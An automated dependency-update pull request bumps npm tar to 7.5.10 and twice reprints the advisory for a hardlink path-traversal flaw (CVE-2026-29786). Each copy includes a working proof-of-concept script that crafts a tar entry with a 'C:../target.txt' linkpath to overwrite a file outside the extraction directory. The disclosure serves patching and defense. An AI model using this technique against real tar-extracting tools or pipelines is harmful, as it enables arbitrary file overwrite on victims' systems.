fix(deps): update dependency tar to v7.5.10 [security]

[renovate-sh-app]

This PR contains the following updates:

Package	Change	Age	Confidence
tar	7.5.8 → 7.5.10
tar	^7.4.3 → ^7.5.10

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Warning

Some dependencies could not be looked up. Check the warning logs for more information.

GitHub Vulnerability Alerts

CVE-2026-29786

Summary

tar (npm) can be tricked into creating a hardlink that points outside the extraction directory by using a drive-relative link target such as C:../target.txt, which enables file overwrite outside cwd during normal tar.x() extraction.

Details

The extraction logic in Unpack[STRIPABSOLUTEPATH] checks for .. segments before stripping absolute roots.

What happens with linkpath: "C:../target.txt":

1. Split on / gives ['C:..', 'target.txt'], so parts.includes('..') is false.
2. stripAbsolutePath() removes C: and rewrites the value to ../target.txt.
3. Hardlink creation resolves this against extraction cwd and escapes one directory up.
4. Writing through the extracted hardlink overwrites the outside file.

This is reachable in standard usage (tar.x({ cwd, file })) when extracting attacker-controlled tar archives.

PoC

Tested on Arch Linux with tar@7.5.9.

PoC script (poc.cjs):

const fs = require('fs')
const path = require('path')
const { Header, x } = require('tar')

const cwd = process.cwd()
const target = path.resolve(cwd, '..', 'target.txt')
const tarFile = path.join(process.cwd(), 'poc.tar')

fs.writeFileSync(target, 'ORIGINAL\n')

const b = Buffer.alloc(1536)
new Header({ path: 'l', type: 'Link', linkpath: 'C:../target.txt' }).encode(b, 0)
fs.writeFileSync(tarFile, b)

x({ cwd, file: tarFile }).then(() => {
  fs.writeFileSync(path.join(cwd, 'l'), 'PWNED\n')
  process.stdout.write(fs.readFileSync(target, 'utf8'))
})

Run:

cd test-workspace
node poc.cjs && ls -l ../target.txt

Observed output:

PWNED
-rw-r--r-- 2 joshuavr joshuavr 6 Mar  4 19:25 ../target.txt

PWNED confirms outside file content overwrite. Link count 2 confirms the extracted file and ../target.txt are hardlinked.

Impact

This is an arbitrary file overwrite primitive outside the intended extraction root, with the permissions of the process performing extraction.

Realistic scenarios:

• CLI tools unpacking untrusted tarballs into a working directory
• build/update pipelines consuming third-party archives
• services that import user-supplied tar files

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tar has Hardlink Path Traversal via Drive-Relative Linkpath

CVE-2026-29786 / GHSA-qffp-2rhf-9h96

More information

Details

Summary

tar (npm) can be tricked into creating a hardlink that points outside the extraction directory by using a drive-relative link target such as C:../target.txt, which enables file overwrite outside cwd during normal tar.x() extraction.

Details

The extraction logic in Unpack[STRIPABSOLUTEPATH] checks for .. segments before stripping absolute roots.

What happens with linkpath: "C:../target.txt":

1. Split on / gives ['C:..', 'target.txt'], so parts.includes('..') is false.
2. stripAbsolutePath() removes C: and rewrites the value to ../target.txt.
3. Hardlink creation resolves this against extraction cwd and escapes one directory up.
4. Writing through the extracted hardlink overwrites the outside file.

This is reachable in standard usage (tar.x({ cwd, file })) when extracting attacker-controlled tar archives.

PoC

Tested on Arch Linux with tar@7.5.9.

PoC script (poc.cjs):

const fs = require('fs')
const path = require('path')
const { Header, x } = require('tar')

const cwd = process.cwd()
const target = path.resolve(cwd, '..', 'target.txt')
const tarFile = path.join(process.cwd(), 'poc.tar')

fs.writeFileSync(target, 'ORIGINAL\n')

const b = Buffer.alloc(1536)
new Header({ path: 'l', type: 'Link', linkpath: 'C:../target.txt' }).encode(b, 0)
fs.writeFileSync(tarFile, b)

x({ cwd, file: tarFile }).then(() => {
  fs.writeFileSync(path.join(cwd, 'l'), 'PWNED\n')
  process.stdout.write(fs.readFileSync(target, 'utf8'))
})

Run:

cd test-workspace
node poc.cjs && ls -l ../target.txt

Observed output:

PWNED
-rw-r--r-- 2 joshuavr joshuavr 6 Mar  4 19:25 ../target.txt

PWNED confirms outside file content overwrite. Link count 2 confirms the extracted file and ../target.txt are hardlinked.

Impact

This is an arbitrary file overwrite primitive outside the intended extraction root, with the permissions of the process performing extraction.

Realistic scenarios:

• CLI tools unpacking untrusted tarballs into a working directory
• build/update pipelines consuming third-party archives
• services that import user-supplied tar files

Severity

• CVSS Score: Unknown
• Vector String: CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L

References

• https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96
• https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f
• https://github.com/isaacs/node-tar

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

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Release Notes

isaacs/node-tar (tar)

v7.5.10

Compare Source

v7.5.9

Compare Source

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